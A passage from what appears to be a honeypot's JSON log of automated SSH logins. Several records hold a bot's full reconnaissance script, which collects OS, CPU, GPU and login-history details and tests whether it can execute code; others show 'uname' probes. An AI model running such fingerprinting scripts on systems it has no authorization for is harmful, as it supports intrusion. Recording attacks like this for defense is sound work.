2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:45:01.047046+00:00",
  "ended_at": "2026-08-20T13:45:01.133760+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bcc88242-7e8b-4f44-a445-a8159afe9a51",
  "name": "lively-jovial-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 42640,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:43:21.439446+00:00",
  "ended_at": "2026-08-20T13:43:21.528577+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fb98d12b-ba29-41d9-ae74-173b41be3282",
  "name": "reedy-plush-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 39646,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:41:42.984432+00:00",
  "ended_at": "2026-08-20T13:41:43.069351+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "77a4fd2f-170e-4274-8ce1-202bc56aee6b",
  "name": "dapper-jaunty-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 36654,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:40:09.200347+00:00",
  "ended_at": "2026-08-20T13:40:09.288559+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "84b11ea4-b27a-42df-9655-b0d670a07a7a",
  "name": "tranquil-crimson-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 33644,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:38:36.251011+00:00",
  "ended_at": "2026-08-20T13:38:36.350764+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0e655f8c-36b1-4c8d-8098-9ed7aac91b78",
  "name": "tangled-fleeting-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38482,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:43:17.737161+00:00",
  "ended_at": "2026-08-20T12:43:19.625562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f33ae85c-02f7-4fb1-96b3-1560f83def2d",
  "name": "merry-chilly-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52554,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T11:36:25.830095+00:00",
  "ended_at": "2026-08-20T11:36:27.837481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8094d25-bbdb-4aa2-bf9a-6e300f3c48e1",
  "name": "pleasant-stormy-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 35898,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T11:07:41.831327+00:00",
  "ended_at": "2026-08-20T11:07:42.435847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 896
 },
 {
  "id": "6d4bf2c8-1946-4340-aa83-f13a0141b864",
  "name": "glassy-hardy-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 53144,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T11:03:34.165054+00:00",
  "ended_at": "2026-08-20T11:03:35.024942+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 844
 },
 {
  "id": "c859769e-f8aa-4130-98eb-18cfbc94057a",
  "name": "blithe-leafy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 39652,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T11:02:01.764829+00:00",
  "ended_at": "2026-08-20T11:02:02.440741+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 837
 },
 {
  "id": "52dbac9c-b028-4fcc-b814-cce0d1a39ace",
  "name": "wiry-regal-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 55214,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:55:10.242563+00:00",
  "ended_at": "2026-08-20T10:55:10.949503+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 812
 },
 {
  "id": "1be96da0-ab3e-4ddd-9c6e-b4e367175254",
  "name": "ruddy-obsidian-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 38398,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:54:06.639551+00:00",
  "ended_at": "2026-08-20T10:54:07.395799+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 758
 },
 {
  "id": "4427f9c7-0598-4948-a850-bb62552e0d71",
  "name": "icy-canny-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 50046,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:52:46.760298+00:00",
  "ended_at": "2026-08-20T10:52:47.373190+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 843
 },
 {
  "id": "75504b3d-91c0-45bb-9712-9a2e315b21d5",
  "name": "pewter-distant-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 43198,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:51:54.815425+00:00",
  "ended_at": "2026-08-20T10:51:55.295271+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 220
 },
 {
  "id": "89f9b66a-2ade-4358-8d96-dd095e07d44e",
  "name": "loyal-weathered-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 33308,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:43:05.168356+00:00",
  "ended_at": "2026-08-20T10:43:05.691027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 805
 },
 {
  "id": "32832d94-faab-42f8-ae0d-394c646d006f",
  "name": "electric-patient-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 37050,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:42:53.165168+00:00",
  "ended_at": "2026-08-20T10:42:53.790648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 763
 },
 {
  "id": "42cdc15b-b8a3-47a0-867b-bf27199b3bea",
  "name": "airy-ancient-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 43468,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 1,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:35:40.917789+00:00",
  "ended_at": "2026-08-20T10:35:41.719192+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 849
 },
 {
  "id": "e076bb12-e323-4ffe-9a3a-64461a0f2b7b",
  "name": "loyal-fierce-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49104,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T10:29:13.629052+00:00",
  "ended_at": "2026-08-20T10:29:14.033245+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9fd81e-790a-4500-8b09-254d36d1fb54",
  "name": "wry-distant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 34084,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:29:11.059036+00:00",
  "ended_at": "2026-08-20T10:29:11.402646+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 728
 },
 {
  "id": "e0b19770-fe1e-4527-b82c-0bb51bb95d60",
  "name": "vaulted-supple-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 42842,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:23:50.060070+00:00",
  "ended_at": "2026-08-20T10:23:50.656289+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 907
 },
 {
